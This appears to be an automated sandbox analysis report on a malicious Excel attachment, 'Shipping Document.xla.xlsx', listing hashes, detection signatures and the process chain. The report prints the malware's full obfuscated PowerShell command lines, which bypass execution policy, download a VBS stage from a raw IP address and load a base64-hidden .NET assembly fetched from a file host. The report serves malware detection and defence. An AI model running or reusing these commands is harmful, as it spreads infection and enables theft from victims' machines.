Edit tour
Windows
Analysis Report
Shipping Document.xla.xlsx
Overview
General Information
| Sample name: | Shipping Document.xla.xlsx |
| Analysis ID: | 1563179 |
| MD5: | 54649fa2a8306383f72c8d8299a40998 |
| SHA1: | 873a48d89b2a2110c2edd79792fc1bdb13105d8d |
| SHA256: | ed2615dc3a9adfa6b3c4f5257f9497349f0fcca5d17e9c94622bf7af4db68a3b |
| Tags: | xlsxuser-lowmal3 |
| Infos: |   |
 | |
Detection
HTMLPhisher
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected HtmlPhish44
Yara detected Powershell download and execute
Bypasses PowerShell execution policy
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Installs new ROOT certificates
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 3344 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
mshta.exe (PID: 3648 cmdline: C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) 
powershell.exe (PID: 3784 cmdline: "C:\Window s\SYStEM32 \WinDoWspo wERshElL\V 1.0\POwers Hell.ExE" "poWERsHeL L.eXe -ex bYPass -nOp -W 1 -C dEVICEcr edENTIaLDe pLoYMEnT.E Xe ; iEX ($(iEx('[S YsTEm.tExT .EncOdINg] '+[cHAr]0x 3a+[CHar]5 8+'UtF8.gE TSTRINg([S ysTem.CONV ERT]'+[CHa r]58+[cHAr ]58+'Fromb ase64sTriN G('+[CHAr] 0x22+'JEpQ emwgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICA9IC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgQWRkLVRZ UGUgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAtbU VtYkVyZEVm aU5pVGlPTi AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICdbRGxs SW1wb3J0KC JVckxNb24i LCAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIENoYX JTZXQgPSBD aGFyU2V0Ll VuaWNvZGUp XXB1YmxpYy BzdGF0aWMg ZXh0ZXJuIE ludFB0ciBV UkxEb3dubG 9hZFRvRmls ZShJbnRQdH IgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICByVkZQ Y0wsc3RyaW 5nICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgZ09O Z0J5LHN0cm luZyAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIHhh LHVpbnQgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC BtaEJPLElu dFB0ciAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIG ZQT0VmKTsn ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgLW5hTW UgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAiaXF3 USIgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAtTk FNRXNQYUNl ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgeUZIU2 1reVdJICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg LVBhc3NUaH J1OyAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICRK UHpsOjpVUk xEb3dubG9h ZFRvRmlsZS gwLCJodHRw Oi8vMTA3Lj E3Mi40NC4x NzUvMTMyMS 9zZWV0aGVi ZXN0dGhpbm dzZW50aXJl dGltZXdoaW NoZ2l2ZW5i ZXN0ZGVzaW duZm9yeW91 cnRoaW5ncy 50SUYiLCIk RU52OkFQUE RBVEFcc2Vl dGhlYmVzdH RoaW5nc2Vu dGlyZXRpbW V3aGljaGdp dmVuYmVzdG Rlc2lnbmZv cnlvdXJ0aC 52QnMiLDAs MCk7c1RBcn Qtc2xlRXAo Myk7SUkgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AiJGVuVjpB UFBEQVRBXH NlZXRoZWJl c3R0aGluZ3 NlbnRpcmV0 aW1ld2hpY2 hnaXZlbmJl c3RkZXNpZ2 5mb3J5b3Vy dGgudkJzIg =='+[cHAr] 0X22+'))') ))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3884 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -ex bYPass -nOp -W 1 -C dEVICE credENTIaL DepLoYMEnT .EXe MD5: A575A7610E5F003CC36DF39E07C4BA7D) 
csc.exe (PID: 3988 cmdline: "C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\cfogy1 ty\cfogy1t y.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3996 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES59C4.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\cfo gy1ty\CSCD B27D48C833 B4E44BF149 17DCA05AE4 .TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) 
wscript.exe (PID: 1808 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\seeth ebestthing sentiretim ewhichgive nbestdesig nforyourth .vBs" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 2460 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' JiAoICRQU2 hvbUVbNF0r JHBTaG9NZV szMF0rJ1gn KSgoJ2UzJy snSWltYWcn KydlVXJsID 0gSGV1aHR0 cHM6Ly8zMT A1LmZpbGVt YWlsLmNvbS 9hcGkvZmls ZS9nZXQ/Zm lsZWtleT1z aFRQSGJDUF g4by1sT3RD cUhMRzZfJy snMHhDeS14 bDR0bnhsQV ZiUTk1LWR2 aVRLJysnNW NBUmFOZFFq YmIzbWV4Zn dRekttVFhn JnNraXByZW c9dHJ1ZSZw a192aWQ9ZT AxMDk2Mzhj OWJmYjk1Nz E3MzI1MzEz MDliNWZmN2 MgSGV1O2Uz SXdlYkNsaW VudCA9IE5l dy1PYmplY3 QgU3lzdGVt Lk5ldC5XZW JDbGllbnQ7 ZTNJaW1hJy snZ2VCeXRl JysncyA9IG UzSXdlYkNs aWVudC5Eb3 dubG9hZERh dGEoZTNJaW 1hZ2VVcmwp O2UzSWltYW dlVGV4dCA9 IFtTeXN0ZW 0uVGV4dC5F bmNvZGluZy crJ106OlVU RjguR2V0U3 RyaW5nKGUz SWltYWdlQn l0ZXMnKycp O2UzSXN0YS crJ3J0Rmxh ZycrJyA9IE hldTw8QkFT RTY0X1NUQV JUPj5IZXU7 ZTNJZW5kRm xhZyA9Jysn IEgnKydldT w8QkFTRTY0 X0VORD4+SG V1O2UzSXN0 YXJ0SW5kZX ggPSBlM0lp bWFnZVRleH QuSW5kZXhP ZihlM0lzdG FydEZsYWcp O2UzSWVuZE luZGV4ID0g ZTNJaW1hZ2 VUZXh0Lklu ZGV4T2YoZT NJZW5kRmxh Zyk7ZTNJc3 RhcnRJbicr J2RleCAtZ2 UgMCAtYW5k IGUzSWVuZE luZGV4IC0n KydndCBlM0 lzdGFydElu ZGV4O2UzSS crJ3N0YXJ0 SW5kZXggKz 0gZTNJc3Rh cnQnKydGbG FnLkxlJysn bmd0aDtlM0 liYXNlNjRM ZW5ndGggPS BlM0llbmRJ bmRleCAtIG UzSXN0YXJ0 SW5kZXg7ZT MnKydJYmFz ZTY0Q29tbW FuZCA9IGUz SWltYWdlVG V4dCcrJy5T dWJzdHJpbm coZTNJc3Rh cnRJbmRleC wgZTNJYmFz ZTY0TGVuZ3 RoKTtlM0li YXNlNjRSZS crJ3YnKydl JysncnNlZC A9IC1qb2lu IChlM0liYX NlNjRDb21t YW5kLlRvQ2 gnKydhckFy cmF5KCkga1 VpIEZvckVh Y2gtT2JqZW N0IHsgZTNJ XyB9KVstMS 4uLShlM0li YXNlNjRDb2 1tYW5kLkxl bmd0aCldO2 UzSScrJ2Nv bScrJ21hbm RCeXRlcyA9 IFtTeXN0ZW 0uJysnQ29u dmVydF06Ok Zyb21CYXNl NjRTdHJpbm coZScrJzNJ YmEnKydzZT Y0UmV2ZXJz ZWQpO2UzJy snSWxvYWRl JysnZEFzc2 VtYmx5ID0g W1N5c3RlJy snbS5SJysn ZWZsZWN0aW 9uLkFzc2Vt Ymx5XTo6TG 9hZChlMycr J0ljb21tYW 5kQnl0ZXMp O2UzSXZhaU 1ldGhvZCAn Kyc9IFtkbm xpYi5JTy5I b21lXS5HZX RNZXRob2Qo SGV1VkFJSG V1KTtlM0l2 YWlNZXRob2 QuSW52b2tl KGUzSW51bG wsIEAoSGV1 dHh0JysnLk 1STUFDLzEy MzEvNTcxLj Q0LjI3MS43 MDEvLzpwdH RoSGV1LCBI ZXVkZXNhdG l2YWRvSGV1 LCBIZXVkZX NhdCcrJ2l2 YWRvSGV1LC AnKydIZXVk ZXNhdGl2YW RvSGV1LCBI ZXVDYXNQb2 xIZXUsIEhl dWRlc2F0aX ZhZG9IZXUs IEhldWRlc2 F0aXZhZG9I ZXUsSGUnKy d1ZGVzYXRp dmFkbycrJ0 hldSxIZXVk ZXNhdGl2YW RvSGV1LEhl dWRlc2F0aX ZhZG9IZXUs SGV1ZGVzYX RpdmFkb0hl dSxIZXVkZX NhdGl2YWRv SGV1LEhldT FIZXUsSGV1 ZCcrJ2VzYX RpdmFkb0gn KydldSkpOy cpLnJFUGxh Q0UoKFtjSE FSXTcyK1tj SEFSXTEwMS tbY0hBUl0x MTcpLFtTVF JJTkddW2NI QVJdMzkpLn JFUGxhQ0Uo KFtjSEFSXT EwNytbY0hB Ul04NStbY0 hBUl0xMDUp LFtTVFJJTk ddW2NIQVJd MTI0KS5yRV BsYUNFKCdl M0knLCckJy kgKQ==';$O Wjuxd = [s ystem.Text .encoding] ::UTF8.Get String([sy stem.Conve rt]::Fromb ase64Strin g($codigo) );powershe ll.exe -wi ndowstyle hidden -ex ecutionpol icy bypass